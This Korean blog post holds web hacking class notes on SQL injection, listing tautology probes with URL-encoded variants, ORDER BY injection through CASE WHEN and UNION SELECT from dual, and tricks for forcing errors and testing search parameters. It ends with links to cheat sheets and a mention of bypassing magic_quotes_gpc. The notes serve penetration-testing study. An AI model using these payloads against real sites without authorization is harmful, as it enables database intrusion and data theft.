본문 바로가기
Web hacking/Nomaltic) 웹 해킹 수업 노트 👩‍💻

[WEB]SQL injection 모음

by m_.9m 2022. 5. 16.

<SQL Injecion TIP>

SQL는 주로 id 기능에서 가능아이디 끝에 ' '  /  %2b / %252b' and  '1'='1' aNd '1'='1' &(%26) '1'='1안되는 경우

(1) PreparedStatement (공격 XXX)

(2) 작은 따옴표 우회 ->

문자열이 아닌곳에서 테스트- Column 이름- 테이블 이름-Order by 정렬

sort_column: title, namesort_type: asc/descsort_column: title, 9999sort_type=, 9999 asc입력해본다

.sort_type=,(case when (1=1) then 1 else 9999 end) asc결과시 '1', '9999'select 1 from dual(가상테이블)

union select 2 from dual응용문: (case when (1=1) then 1 else select 1 from dual(가상테이블)

union select 2 from dual end) asc에러유발이 안될때 일부로 에러유발을 유도할 수 있다.

12id = SQL injecton 가능option_val=username&board_result& ~~구조를 파악한다.

where $option_val like '%S%' '%$board_result%' and board_search=''"&between <><> 파라미터 option_val=(1=1) / option_val=(1=2)너무 많이 나왔을 경우 하나만 대표로 작성한다.

 

 

참고할 URL

SQL 보고서 작성(union부터 있음)

https://myungjjju.tistory.com/69?category=966817

SQL LOS 정리

https://01092090536.tistory.com/65

SQL sheet

https://security04.tistory.com/171

https://dorahee.tistory.com/140

%aa

[SQLi] magic_quotes_gpc, mysql_real_escape_string() 우회